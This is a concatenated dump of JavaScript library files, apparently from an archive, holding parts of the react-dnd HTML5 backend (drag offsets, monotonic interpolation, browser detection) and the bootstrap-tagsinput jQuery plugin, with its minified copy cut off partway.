      target.removeEventListener('dragstart', this.handleTopDragStart);
      target.removeEventListener('dragstart', this.handleTopDragStartCapture, true);
      target.removeEventListener('dragend', this.handleTopDragEndCapture, true);
      target.removeEventListener('dragenter', this.handleTopDragEnter);
      target.removeEventListener('dragenter', this.handleTopDragEnterCapture, true);
      target.removeEventListener('dragleave', this.handleTopDragLeaveCapture, true);
      target.removeEventListener('dragover', this.handleTopDragOver);
      target.removeEventListener('dragover', this.handleTopDragOverCapture, true);
      target.removeEventListener('drop', this.handleTopDrop);
      target.removeEventListener('drop', this.handleTopDropCapture, true);
    }
  }, {
    key: "getCurrentSourceNodeOptions",
    value: function getCurrentSourceNodeOptions() {
      var sourceId = this.monitor.getSourceId();
      var sourceNodeOptions = this.sourceNodeOptions.get(sourceId);
      return _objectSpread({
        dropEffect: this.altKeyPressed ? 'copy' : 'move'
      }, sourceNodeOptions || {});
    }
  }, {
    key: "getCurrentDropEffect",
    value: function getCurrentDropEffect() {
      if (this.isDraggingNativeItem()) {
        // It makes more sense to default to 'copy' for native resources
        return 'copy';
      }

      return this.getCurrentSourceNodeOptions().dropEffect;
    }
  }, {
    key: "getCurrentSourcePreviewNodeOptions",
    value: function getCurrentSourcePreviewNodeOptions() {
      var sourceId = this.monitor.getSourceId();
      var sourcePreviewNodeOptions = this.sourcePreviewNodeOptions.get(sourceId);
      return _objectSpread({
        anchorX: 0.5,
        anchorY: 0.5,
        captureDraggingState: false
      }, sourcePreviewNodeOptions || {});
    }
  }, {
    key: "isDraggingNativeItem",
    value: function isDraggingNativeItem() {
      var itemType = this.monitor.getItemType();
      return Object.keys(NativeTypes).some(function (key) {
        return NativeTypes[key] === itemType;
      });
    }
  }, {
    key: "beginDragNativeItem",
    value: function beginDragNativeItem(type, dataTransfer) {
      this.clearCurrentDragSourceNode();
      this.currentNativeSource = createNativeDragSource(type, dataTransfer);
      this.currentNativeHandle = this.registry.addSource(type, this.currentNativeSource);
      this.actions.beginDrag([this.currentNativeHandle]);
    }
  }, {
    key: "setCurrentDragSourceNode",
    value: function setCurrentDragSourceNode(node) {
      var _this5 = this;

      this.clearCurrentDragSourceNode();
      this.currentDragSourceNode = node; // A timeout of > 0 is necessary to resolve Firefox issue referenced
      // See:
      //   * https://github.com/react-dnd/react-dnd/pull/928
      //   * https://github.com/react-dnd/react-dnd/issues/869

      var MOUSE_MOVE_TIMEOUT = 1000; // Receiving a mouse event in the middle of a dragging operation
      // means it has ended and the drag source node disappeared from DOM,
      // so the browser didn't dispatch the dragend event.
      //
      // We need to wait before we start listening for mousemove events.
      // This is needed because the drag preview needs to be drawn or else it fires an 'mousemove' event
      // immediately in some browsers.
      //
      // See:
      //   * https://github.com/react-dnd/react-dnd/pull/928
      //   * https://github.com/react-dnd/react-dnd/issues/869
      //

      this.mouseMoveTimeoutTimer = setTimeout(function () {
        return _this5.window && _this5.window.addEventListener('mousemove', _this5.endDragIfSourceWasRemovedFromDOM, true);
      }, MOUSE_MOVE_TIMEOUT);
    }
  }, {
    key: "clearCurrentDragSourceNode",
    value: function clearCurrentDragSourceNode() {
      if (this.currentDragSourceNode) {
        this.currentDragSourceNode = null;

        if (this.window) {
          this.window.clearTimeout(this.mouseMoveTimeoutTimer || undefined);
          this.window.removeEventListener('mousemove', this.endDragIfSourceWasRemovedFromDOM, true);
        }

        this.mouseMoveTimeoutTimer = null;
        return true;
      }

      return false;
    }
  }, {
    key: "handleDragStart",
    value: function handleDragStart(e, sourceId) {
      if (e.defaultPrevented) {
        return;
      }

      if (!this.dragStartSourceIds) {
        this.dragStartSourceIds = [];
      }

      this.dragStartSourceIds.unshift(sourceId);
    }
  }, {
    key: "handleDragEnter",
    value: function handleDragEnter(e, targetId) {
      this.dragEnterTargetIds.unshift(targetId);
    }
  }, {
    key: "handleDragOver",
    value: function handleDragOver(e, targetId) {
      if (this.dragOverTargetIds === null) {
        this.dragOverTargetIds = [];
      }

      this.dragOverTargetIds.unshift(targetId);
    }
  }, {
    key: "handleDrop",
    value: function handleDrop(e, targetId) {
      this.dropTargetIds.unshift(targetId);
    }
  }, {
    key: "window",
    get: function get() {
      return this.options.window;
    }
  }, {
    key: "document",
    get: function get() {
      return this.options.document;
    }
  }]);

  return HTML5BackendImpl;
}();esm/index.js000064400000000037151677252760007017 0ustar00export * from './es5/index.js';esm/OffsetUtils.js000064400000007335151677252760010167 0ustar00import { isSafari, isFirefox } from './BrowserDetector';
import { MonotonicInterpolant } from './MonotonicInterpolant';
var ELEMENT_NODE = 1;
export function getNodeClientOffset(node) {
  var el = node.nodeType === ELEMENT_NODE ? node : node.parentElement;

  if (!el) {
    return null;
  }

  var _el$getBoundingClient = el.getBoundingClientRect(),
      top = _el$getBoundingClient.top,
      left = _el$getBoundingClient.left;

  return {
    x: left,
    y: top
  };
}
export function getEventClientOffset(e) {
  return {
    x: e.clientX,
    y: e.clientY
  };
}

function isImageNode(node) {
  var _document$documentEle;

  return node.nodeName === 'IMG' && (isFirefox() || !((_document$documentEle = document.documentElement) === null || _document$documentEle === void 0 ? void 0 : _document$documentEle.contains(node)));
}

function getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight) {
  var dragPreviewWidth = isImage ? dragPreview.width : sourceWidth;
  var dragPreviewHeight = isImage ? dragPreview.height : sourceHeight; // Work around @2x coordinate discrepancies in browsers

  if (isSafari() && isImage) {
    dragPreviewHeight /= window.devicePixelRatio;
    dragPreviewWidth /= window.devicePixelRatio;
  }

  return {
    dragPreviewWidth: dragPreviewWidth,
    dragPreviewHeight: dragPreviewHeight
  };
}

export function getDragPreviewOffset(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint) {
  // The browsers will use the image intrinsic size under different conditions.
  // Firefox only cares if it's an image, but WebKit also wants it to be detached.
  var isImage = isImageNode(dragPreview);
  var dragPreviewNode = isImage ? sourceNode : dragPreview;
  var dragPreviewNodeOffsetFromClient = getNodeClientOffset(dragPreviewNode);
  var offsetFromDragPreview = {
    x: clientOffset.x - dragPreviewNodeOffsetFromClient.x,
    y: clientOffset.y - dragPreviewNodeOffsetFromClient.y
  };
  var sourceWidth = sourceNode.offsetWidth,
      sourceHeight = sourceNode.offsetHeight;
  var anchorX = anchorPoint.anchorX,
      anchorY = anchorPoint.anchorY;

  var _getDragPreviewSize = getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight),
      dragPreviewWidth = _getDragPreviewSize.dragPreviewWidth,
      dragPreviewHeight = _getDragPreviewSize.dragPreviewHeight;

  var calculateYOffset = function calculateYOffset() {
    var interpolantY = new MonotonicInterpolant([0, 0.5, 1], [// Dock to the top
    offsetFromDragPreview.y, // Align at the center
    offsetFromDragPreview.y / sourceHeight * dragPreviewHeight, // Dock to the bottom
    offsetFromDragPreview.y + dragPreviewHeight - sourceHeight]);
    var y = interpolantY.interpolate(anchorY); // Work around Safari 8 positioning bug

    if (isSafari() && isImage) {
      // We'll have to wait for @3x to see if this is entirely correct
      y += (window.devicePixelRatio - 1) * dragPreviewHeight;
    }

    return y;
  };

  var calculateXOffset = function calculateXOffset() {
    // Interpolate coordinates depending on anchor point
    // If you know a simpler way to do this, let me know
    var interpolantX = new MonotonicInterpolant([0, 0.5, 1], [// Dock to the left
    offsetFromDragPreview.x, // Align at the center
    offsetFromDragPreview.x / sourceWidth * dragPreviewWidth, // Dock to the right
    offsetFromDragPreview.x + dragPreviewWidth - sourceWidth]);
    return interpolantX.interpolate(anchorX);
  }; // Force offsets if specified in the options.


  var offsetX = offsetPoint.offsetX,
      offsetY = offsetPoint.offsetY;
  var isManualOffsetX = offsetX === 0 || offsetX;
  var isManualOffsetY = offsetY === 0 || offsetY;
  return {
    x: isManualOffsetX ? offsetX : calculateXOffset(),
    y: isManualOffsetY ? offsetY : calculateYOffset()
  };
}esm/getEmptyImage.js000064400000000343151677252760010451 0ustar00var emptyImage;
export function getEmptyImage() {
  if (!emptyImage) {
    emptyImage = new Image();
    emptyImage.src = 'data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==';
  }

  return emptyImage;
}esm/NativeTypes.js000064400000000154151677252760010163 0ustar00export var FILE = '__NATIVE_FILE__';
export var URL = '__NATIVE_URL__';
export var TEXT = '__NATIVE_TEXT__';esm/MonotonicInterpolant.js000064400000006433151677252760012103 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

export var MonotonicInterpolant = /*#__PURE__*/function () {
  function MonotonicInterpolant(xs, ys) {
    _classCallCheck(this, MonotonicInterpolant);

    var length = xs.length; // Rearrange xs and ys so that xs is sorted

    var indexes = [];

    for (var i = 0; i < length; i++) {
      indexes.push(i);
    }

    indexes.sort(function (a, b) {
      return xs[a] < xs[b] ? -1 : 1;
    }); // Get consecutive differences and slopes

    var dys = [];
    var dxs = [];
    var ms = [];
    var dx;
    var dy;

    for (var _i = 0; _i < length - 1; _i++) {
      dx = xs[_i + 1] - xs[_i];
      dy = ys[_i + 1] - ys[_i];
      dxs.push(dx);
      dys.push(dy);
      ms.push(dy / dx);
    } // Get degree-1 coefficients


    var c1s = [ms[0]];

    for (var _i2 = 0; _i2 < dxs.length - 1; _i2++) {
      var m2 = ms[_i2];
      var mNext = ms[_i2 + 1];

      if (m2 * mNext <= 0) {
        c1s.push(0);
      } else {
        dx = dxs[_i2];
        var dxNext = dxs[_i2 + 1];
        var common = dx + dxNext;
        c1s.push(3 * common / ((common + dxNext) / m2 + (common + dx) / mNext));
      }
    }

    c1s.push(ms[ms.length - 1]); // Get degree-2 and degree-3 coefficients

    var c2s = [];
    var c3s = [];
    var m;

    for (var _i3 = 0; _i3 < c1s.length - 1; _i3++) {
      m = ms[_i3];
      var c1 = c1s[_i3];
      var invDx = 1 / dxs[_i3];

      var _common = c1 + c1s[_i3 + 1] - m - m;

      c2s.push((m - c1 - _common) * invDx);
      c3s.push(_common * invDx * invDx);
    }

    this.xs = xs;
    this.ys = ys;
    this.c1s = c1s;
    this.c2s = c2s;
    this.c3s = c3s;
  }

  _createClass(MonotonicInterpolant, [{
    key: "interpolate",
    value: function interpolate(x) {
      var xs = this.xs,
          ys = this.ys,
          c1s = this.c1s,
          c2s = this.c2s,
          c3s = this.c3s; // The rightmost point in the dataset should give an exact result

      var i = xs.length - 1;

      if (x === xs[i]) {
        return ys[i];
      } // Search for the interval x is in, returning the corresponding y if x is one of the original xs


      var low = 0;
      var high = c3s.length - 1;
      var mid;

      while (low <= high) {
        mid = Math.floor(0.5 * (low + high));
        var xHere = xs[mid];

        if (xHere < x) {
          low = mid + 1;
        } else if (xHere > x) {
          high = mid - 1;
        } else {
          return ys[mid];
        }
      }

      i = Math.max(0, high); // Interpolate

      var diff = x - xs[i];
      var diffSq = diff * diff;
      return ys[i] + c1s[i] * diff + c2s[i] * diffSq + c3s[i] * diff * diffSq;
    }
  }]);

  return MonotonicInterpolant;
}();esm/BrowserDetector.js000064400000000334151677252760011025 0ustar00import { memoize } from './utils/js_utils';
export var isFirefox = memoize(function () {
  return /firefox/i.test(navigator.userAgent);
});
export var isSafari = memoize(function () {
  return Boolean(window.safari);
});bootstrap-tagsinput.js000064400000053635151677260650011166 0ustar00(function ($) {
  "use strict";

  var defaultOptions = {
    tagClass: function(item) {
      return 'label label-info';
    },
    itemValue: function(item) {
      return item ? item.toString() : item;
    },
    itemText: function(item) {
      return this.itemValue(item);
    },
    itemTitle: function(item) {
      return null;
    },
    freeInput: true,
    addOnBlur: true,
    maxTags: undefined,
    maxChars: undefined,
    confirmKeys: [13, 44],
    delimiter: ',',
    delimiterRegex: null,
    cancelConfirmKeysOnEmpty: false,
    onTagExists: function(item, $tag) {
      $tag.hide().fadeIn();
    },
    trimValue: false,
    allowDuplicates: false
  };

  /**
   * Constructor function
   */
  function TagsInput(element, options) {
    this.isInit = true;
    this.itemsArray = [];

    this.$element = $(element);
    this.$element.hide();

    this.isSelect = (element.tagName === 'SELECT');
    this.multiple = (this.isSelect && element.hasAttribute('multiple'));
    this.objectItems = options && options.itemValue;
    this.placeholderText = element.hasAttribute('placeholder') ? this.$element.attr('placeholder') : '';
    this.inputSize = Math.max(1, this.placeholderText.length);

    this.$container = $('<div class="bootstrap-tagsinput"></div>');
    this.$input = $('<input type="text" placeholder="' + this.placeholderText + '"/>').appendTo(this.$container);

    this.$element.before(this.$container);

    this.build(options);
    this.isInit = false;
  }

  TagsInput.prototype = {
    constructor: TagsInput,

    /**
     * Adds the given item as a new tag. Pass true to dontPushVal to prevent
     * updating the elements val()
     */
    add: function(item, dontPushVal, options) {
      var self = this;

      if (self.options.maxTags && self.itemsArray.length >= self.options.maxTags)
        return;

      // Ignore falsey values, except false
      if (item !== false && !item)
        return;

      // Trim value
      if (typeof item === "string" && self.options.trimValue) {
        item = $.trim(item);
      }

      // Throw an error when trying to add an object while the itemValue option was not set
      if (typeof item === "object" && !self.objectItems)
        throw("Can't add objects when itemValue option is not set");

      // Ignore strings only containg whitespace
      if (item.toString().match(/^\s*$/))
        return;

      // If SELECT but not multiple, remove current tag
      if (self.isSelect && !self.multiple && self.itemsArray.length > 0)
        self.remove(self.itemsArray[0]);

      if (typeof item === "string" && this.$element[0].tagName === 'INPUT') {
        var delimiter = (self.options.delimiterRegex) ? self.options.delimiterRegex : self.options.delimiter;
        var items = item.split(delimiter);
        if (items.length > 1) {
          for (var i = 0; i < items.length; i++) {
            this.add(items[i], true);
          }

          if (!dontPushVal)
            self.pushVal();
          return;
        }
      }

      var itemValue = self.options.itemValue(item),
          itemText = self.options.itemText(item),
          tagClass = self.options.tagClass(item),
          itemTitle = self.options.itemTitle(item);

      // Ignore items allready added
      var existing = $.grep(self.itemsArray, function(item) { return self.options.itemValue(item) === itemValue; } )[0];
      if (existing && !self.options.allowDuplicates) {
        // Invoke onTagExists
        if (self.options.onTagExists) {
          var $existingTag = $(".tag", self.$container).filter(function() { return $(this).data("item") === existing; });
          self.options.onTagExists(item, $existingTag);
        }
        return;
      }

      // if length greater than limit
      if (self.items().toString().length + item.length + 1 > self.options.maxInputLength)
        return;

      // raise beforeItemAdd arg
      var beforeItemAddEvent = $.Event('beforeItemAdd', { item: item, cancel: false, options: options});
      self.$element.trigger(beforeItemAddEvent);
      if (beforeItemAddEvent.cancel)
        return;

      // register item in internal array and map
      self.itemsArray.push(item);

      // add a tag element

      var $tag = $('<span class="tag ' + htmlEncode(tagClass) + (itemTitle !== null ? ('" title="' + itemTitle) : '') + '">' + htmlEncode(itemText) + '<span data-role="remove"></span></span>');
      $tag.data('item', item);
      self.findInputWrapper().before($tag);
      $tag.after(' ');

      // Check to see if the tag exists in its raw or uri-encoded form
      var optionExists = (
        $('option[value="' + encodeURIComponent(itemValue) + '"]', self.$element).length ||
        $('option[value="' + htmlEncode(itemValue) + '"]', self.$element).length
      );

      // add <option /> if item represents a value not present in one of the <select />'s options
      if (self.isSelect && !optionExists) {
        var $option = $('<option selected>' + htmlEncode(itemText) + '</option>');
        $option.data('item', item);
        $option.attr('value', itemValue);
        self.$element.append($option);
      }

      if (!dontPushVal)
        self.pushVal();

      // Add class when reached maxTags
      if (self.options.maxTags === self.itemsArray.length || self.items().toString().length === self.options.maxInputLength)
        self.$container.addClass('bootstrap-tagsinput-max');

      // If using typeahead, once the tag has been added, clear the typeahead value so it does not stick around in the input.
      if ($('.typeahead, .twitter-typeahead', self.$container).length) {
        self.$input.typeahead('val', '');
      }

      if (this.isInit) {
        self.$element.trigger($.Event('itemAddedOnInit', { item: item, options: options }));
      } else {
        self.$element.trigger($.Event('itemAdded', { item: item, options: options }));
      }
    },

    /**
     * Removes the given item. Pass true to dontPushVal to prevent updating the
     * elements val()
     */
    remove: function(item, dontPushVal, options) {
      var self = this;

      if (self.objectItems) {
        if (typeof item === "object")
          item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) ==  self.options.itemValue(item); } );
        else
          item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) ==  item; } );

        item = item[item.length-1];
      }

      if (item) {
        var beforeItemRemoveEvent = $.Event('beforeItemRemove', { item: item, cancel: false, options: options });
        self.$element.trigger(beforeItemRemoveEvent);
        if (beforeItemRemoveEvent.cancel)
          return;

        $('.tag', self.$container).filter(function() { return $(this).data('item') === item; }).remove();
        $('option', self.$element).filter(function() { return $(this).data('item') === item; }).remove();
        if($.inArray(item, self.itemsArray) !== -1)
          self.itemsArray.splice($.inArray(item, self.itemsArray), 1);
      }

      if (!dontPushVal)
        self.pushVal();

      // Remove class when reached maxTags
      if (self.options.maxTags > self.itemsArray.length)
        self.$container.removeClass('bootstrap-tagsinput-max');

      self.$element.trigger($.Event('itemRemoved',  { item: item, options: options }));
    },

    /**
     * Removes all items
     */
    removeAll: function() {
      var self = this;

      $('.tag', self.$container).remove();
      $('option', self.$element).remove();

      while(self.itemsArray.length > 0)
        self.itemsArray.pop();

      self.pushVal();
    },

    /**
     * Refreshes the tags so they match the text/value of their corresponding
     * item.
     */
    refresh: function() {
      var self = this;
      $('.tag', self.$container).each(function() {
        var $tag = $(this),
            item = $tag.data('item'),
            itemValue = self.options.itemValue(item),
            itemText = self.options.itemText(item),
            tagClass = self.options.tagClass(item);

          // Update tag's class and inner text
          $tag.attr('class', null);
          $tag.addClass('tag ' + htmlEncode(tagClass));
          $tag.contents().filter(function() {
            return this.nodeType == 3;
          })[0].nodeValue = htmlEncode(itemText);

          if (self.isSelect) {
            var option = $('option', self.$element).filter(function() { return $(this).data('item') === item; });
            option.attr('value', itemValue);
          }
      });
    },

    /**
     * Returns the items added as tags
     */
    items: function() {
      return this.itemsArray;
    },

    /**
     * Assembly value by retrieving the value of each item, and set it on the
     * element.
     */
    pushVal: function() {
      var self = this,
          val = $.map(self.items(), function(item) {
            return self.options.itemValue(item).toString();
          });

      self.$element.val(val, true).trigger('change');
    },

    /**
     * Initializes the tags input behaviour on the element
     */
    build: function(options) {
      var self = this;

      self.options = $.extend({}, defaultOptions, options);
      // When itemValue is set, freeInput should always be false
      if (self.objectItems)
        self.options.freeInput = false;

      makeOptionItemFunction(self.options, 'itemValue');
      makeOptionItemFunction(self.options, 'itemText');
      makeOptionFunction(self.options, 'tagClass');

      // Typeahead Bootstrap version 2.3.2
      if (self.options.typeahead) {
        var typeahead = self.options.typeahead || {};

        makeOptionFunction(typeahead, 'source');

        self.$input.typeahead($.extend({}, typeahead, {
          source: function (query, process) {
            function processItems(items) {
              var texts = [];

              for (var i = 0; i < items.length; i++) {
                var text = self.options.itemText(items[i]);
                map[text] = items[i];
                texts.push(text);
              }
              process(texts);
            }

            this.map = {};
            var map = this.map,
                data = typeahead.source(query);

            if ($.isFunction(data.success)) {
              // support for Angular callbacks
              data.success(processItems);
            } else if ($.isFunction(data.then)) {
              // support for Angular promises
              data.then(processItems);
            } else {
              // support for functions and jquery promises
              $.when(data)
               .then(processItems);
            }
          },
          updater: function (text) {
            self.add(this.map[text]);
            return this.map[text];
          },
          matcher: function (text) {
            return (text.toLowerCase().indexOf(this.query.trim().toLowerCase()) !== -1);
          },
          sorter: function (texts) {
            return texts.sort();
          },
          highlighter: function (text) {
            var regex = new RegExp( '(' + this.query + ')', 'gi' );
            return text.replace( regex, "<strong>$1</strong>" );
          }
        }));
      }

      // typeahead.js
      if (self.options.typeaheadjs) {
          var typeaheadConfig = null;
          var typeaheadDatasets = {};

          // Determine if main configurations were passed or simply a dataset
          var typeaheadjs = self.options.typeaheadjs;
          if ($.isArray(typeaheadjs)) {
            typeaheadConfig = typeaheadjs[0];
            typeaheadDatasets = typeaheadjs[1];
          } else {
            typeaheadDatasets = typeaheadjs;
          }

          self.$input.typeahead(typeaheadConfig, typeaheadDatasets).on('typeahead:selected', $.proxy(function (obj, datum) {
            if (typeaheadDatasets.valueKey)
              self.add(datum[typeaheadDatasets.valueKey]);
            else
              self.add(datum);
            self.$input.typeahead('val', '');
          }, self));
      }

      self.$container.on('click', $.proxy(function(event) {
        if (! self.$element.attr('disabled')) {
          self.$input.removeAttr('disabled');
        }
        self.$input.focus();
      }, self));

        if (self.options.addOnBlur && self.options.freeInput) {
          self.$input.on('focusout', $.proxy(function(event) {
              // HACK: only process on focusout when no typeahead opened, to
              //       avoid adding the typeahead text as tag
              if ($('.typeahead, .twitter-typeahead', self.$container).length === 0) {
                self.add(self.$input.val());
                self.$input.val('');
              }
          }, self));
        }


      self.$container.on('keydown', 'input', $.proxy(function(event) {
        var $input = $(event.target),
            $inputWrapper = self.findInputWrapper();

        if (self.$element.attr('disabled')) {
          self.$input.attr('disabled', 'disabled');
          return;
        }

        switch (event.which) {
          // BACKSPACE
          case 8:
            if (doGetCaretPosition($input[0]) === 0) {
              var prev = $inputWrapper.prev();
              if (prev.length) {
                self.remove(prev.data('item'));
              }
            }
            break;

          // DELETE
          case 46:
            if (doGetCaretPosition($input[0]) === 0) {
              var next = $inputWrapper.next();
              if (next.length) {
                self.remove(next.data('item'));
              }
            }
            break;

          // LEFT ARROW
          case 37:
            // Try to move the input before the previous tag
            var $prevTag = $inputWrapper.prev();
            if ($input.val().length === 0 && $prevTag[0]) {
              $prevTag.before($inputWrapper);
              $input.focus();
            }
            break;
          // RIGHT ARROW
          case 39:
            // Try to move the input after the next tag
            var $nextTag = $inputWrapper.next();
            if ($input.val().length === 0 && $nextTag[0]) {
              $nextTag.after($inputWrapper);
              $input.focus();
            }
            break;
         default:
             // ignore
         }

        // Reset internal input's size
        var textLength = $input.val().length,
            wordSpace = Math.ceil(textLength / 5),
            size = textLength + wordSpace + 1;
        $input.attr('size', Math.max(this.inputSize, $input.val().length));
      }, self));

      self.$container.on('keypress', 'input', $.proxy(function(event) {
         var $input = $(event.target);

         if (self.$element.attr('disabled')) {
            self.$input.attr('disabled', 'disabled');
            return;
         }

         var text = $input.val(),
         maxLengthReached = self.options.maxChars && text.length >= self.options.maxChars;
         if (self.options.freeInput && (keyCombinationInList(event, self.options.confirmKeys) || maxLengthReached)) {
            // Only attempt to add a tag if there is data in the field
            if (text.length !== 0) {
               self.add(maxLengthReached ? text.substr(0, self.options.maxChars) : text);
               $input.val('');
            }

            // If the field is empty, let the event triggered fire as usual
            if (self.options.cancelConfirmKeysOnEmpty === false) {
                event.preventDefault();
            }
         }

         // Reset internal input's size
         var textLength = $input.val().length,
            wordSpace = Math.ceil(textLength / 5),
            size = textLength + wordSpace + 1;
         $input.attr('size', Math.max(this.inputSize, $input.val().length));
      }, self));

      // Remove icon clicked
      self.$container.on('click', '[data-role=remove]', $.proxy(function(event) {
        if (self.$element.attr('disabled')) {
          return;
        }
        self.remove($(event.target).closest('.tag').data('item'));
      }, self));

      // Only add existing value as tags when using strings as tags
      if (self.options.itemValue === defaultOptions.itemValue) {
        if (self.$element[0].tagName === 'INPUT') {
            self.add(self.$element.val());
        } else {
          $('option', self.$element).each(function() {
            self.add($(this).attr('value'), true);
          });
        }
      }
    },

    /**
     * Removes all tagsinput behaviour and unregsiter all event handlers
     */
    destroy: function() {
      var self = this;

      // Unbind events
      self.$container.off('keypress', 'input');
      self.$container.off('click', '[role=remove]');

      self.$container.remove();
      self.$element.removeData('tagsinput');
      self.$element.show();
    },

    /**
     * Sets focus on the tagsinput
     */
    focus: function() {
      this.$input.focus();
    },

    /**
     * Returns the internal input element
     */
    input: function() {
      return this.$input;
    },

    /**
     * Returns the element which is wrapped around the internal input. This
     * is normally the $container, but typeahead.js moves the $input element.
     */
    findInputWrapper: function() {
      var elt = this.$input[0],
          container = this.$container[0];
      while(elt && elt.parentNode !== container)
        elt = elt.parentNode;

      return $(elt);
    }
  };

  /**
   * Register JQuery plugin
   */
  $.fn.tagsinput = function(arg1, arg2, arg3) {
    var results = [];

    this.each(function() {
      var tagsinput = $(this).data('tagsinput');
      // Initialize a new tags input
      if (!tagsinput) {
          tagsinput = new TagsInput(this, arg1);
          $(this).data('tagsinput', tagsinput);
          results.push(tagsinput);

          if (this.tagName === 'SELECT') {
              $('option', $(this)).attr('selected', 'selected');
          }

          // Init tags from $(this).val()
          $(this).val($(this).val());
      } else if (!arg1 && !arg2) {
          // tagsinput already exists
          // no function, trying to init
          results.push(tagsinput);
      } else if(tagsinput[arg1] !== undefined) {
          // Invoke function on existing tags input
            if(tagsinput[arg1].length === 3 && arg3 !== undefined){
               var retVal = tagsinput[arg1](arg2, null, arg3);
            }else{
               var retVal = tagsinput[arg1](arg2);
            }
          if (retVal !== undefined)
              results.push(retVal);
      }
    });

    if ( typeof arg1 == 'string') {
      // Return the results from the invoked function calls
      return results.length > 1 ? results : results[0];
    } else {
      return results;
    }
  };

  $.fn.tagsinput.Constructor = TagsInput;

  /**
   * Most options support both a string or number as well as a function as
   * option value. This function makes sure that the option with the given
   * key in the given options is wrapped in a function
   */
  function makeOptionItemFunction(options, key) {
    if (typeof options[key] !== 'function') {
      var propertyName = options[key];
      options[key] = function(item) { return item[propertyName]; };
    }
  }
  function makeOptionFunction(options, key) {
    if (typeof options[key] !== 'function') {
      var value = options[key];
      options[key] = function() { return value; };
    }
  }
  /**
   * HtmlEncodes the given value
   */
  var htmlEncodeContainer = $('<div />');
  function htmlEncode(value) {
    if (value) {
      return htmlEncodeContainer.text(value).html();
    } else {
      return '';
    }
  }

  /**
   * Returns the position of the caret in the given input field
   * http://flightschool.acylt.com/devnotes/caret-position-woes/
   */
  function doGetCaretPosition(oField) {
    var iCaretPos = 0;
    if (document.selection) {
      oField.focus ();
      var oSel = document.selection.createRange();
      oSel.moveStart ('character', -oField.value.length);
      iCaretPos = oSel.text.length;
    } else if (oField.selectionStart || oField.selectionStart == '0') {
      iCaretPos = oField.selectionStart;
    }
    return (iCaretPos);
  }

  /**
    * Returns boolean indicates whether user has pressed an expected key combination.
    * @param object keyPressEvent: JavaScript event object, refer
    *     http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
    * @param object lookupList: expected key combinations, as in:
    *     [13, {which: 188, shiftKey: true}]
    */
  function keyCombinationInList(keyPressEvent, lookupList) {
      var found = false;
      $.each(lookupList, function (index, keyCombination) {
          if (typeof (keyCombination) === 'number' && keyPressEvent.which === keyCombination) {
              found = true;
              return false;
          }

          if (keyPressEvent.which === keyCombination.which) {
              var alt = !keyCombination.hasOwnProperty('altKey') || keyPressEvent.altKey === keyCombination.altKey,
                  shift = !keyCombination.hasOwnProperty('shiftKey') || keyPressEvent.shiftKey === keyCombination.shiftKey,
                  ctrl = !keyCombination.hasOwnProperty('ctrlKey') || keyPressEvent.ctrlKey === keyCombination.ctrlKey;
              if (alt && shift && ctrl) {
                  found = true;
                  return false;
              }
          }
      });

      return found;
  }

  /**
   * Initialize tagsinput behaviour on inputs and selects which have
   * data-role=tagsinput
   */
  $(function() {
    $("input[data-role=tagsinput], select[multiple][data-role=tagsinput]").tagsinput();
  });
})(window.jQuery);
bootstrap-tagsinput.min.js000064400000021725151677260650011743 0ustar00/*
 * bootstrap-tagsinput v0.7.1 by Tim Schlechter
 * 
 */

!function(a){"use strict";function b(b,c){this.isInit=!0,this.itemsArray=[],this.$element=a(b),this.$element.hide(),this.isSelect="SELECT"===b.tagName,this.multiple=this.isSelect&&b.hasAttribute("multiple"),this.objectItems=c&&c.itemValue,this.placeholderText=b.hasAttribute("placeholder")?this.$element.attr("placeholder"):"",this.inputSize=Math.max(1,this.placeholderText.length),this.$container=a('<div class="bootstrap-tagsinput"></div>'),this.$input=a('<input type="text" placeholder="'+this.placeholderText+'"/>').appendTo(this.$container),this.$element.before(this.$container),this.build(c),this.isInit=!1}function c(a,b){if("function"!=typeof a[b]){var c=a[b];a[b]=function(a){return a[c]}}}function d(a,b){if("function"!=typeof a[b]){var c=a[b];a[b]=function(){return c}}}function e(a){return a?i.text(a).html():""}function f(a){var b=0;if(document.selection){a.focus();var c=document.selection.createRange();c.moveStart("character",-a.value.length),b=c.text.length}else(a.selectionStart||"0"==a.selectionStart)&&(b=a.selectionStart);return b}function g(b,c){var d=!1;return a.each(c,function(a,c){if("number"==typeof c&&b.which===c)return d=!0,!1;if(b.which===c.which){var e=!c.hasOwnProperty("altKey")||b.altKey===c.altKey,f=!c.hasOwnProperty("shiftKey")||b.shiftKey===c.shiftKey,g=!c.hasOwnProperty("ctrlKey")||b.ctrlKey===c.ctrlKey;if(e&&f&&g)return d=!0,!1}}),d}var h={tagClass:function(a){return"label label-info"},itemValue:function(a){return a?a.toString():a},itemText:function(a){return this.itemValue(a)},itemTitle:function(a){return null},freeInput:!0,addOnBlur:!0,maxTags:void 0,maxChars:void 0,confirmKeys:[13,44],delimiter:",",delimiterRegex:null,cancelConfirmKeysOnEmpty:!1,onTagExists:function(a,b){b.hide().fadeIn()},trimValue:!1,allowDuplicates:!1};b.prototype={constructor:b,add:function(b,c,d){var f=this;if(!(f.options.maxTags&&f.itemsArray.length>=f.options.maxTags)&&(b===!1||b)){if("string"==typeof b&&f.options.trimValue&&(b=a.trim(b)),"object"==typeof b&&!f.objectItems)throw"Can't add objects when itemValue option is not set";if(!b.toString().match(/^\s*$/)){if(f.isSelect&&!f.multiple&&f.itemsArray.length>0&&f.remove(f.itemsArray[0]),"string"==typeof b&&"INPUT"===this.$element[0].tagName){var g=f.options.delimiterRegex?f.options.delimiterRegex:f.options.delimiter,h=b.split(g);if(h.length>1){for(var i=0;i<h.length;i++)this.add(h[i],!0);return void(c||f.pushVal())}}var 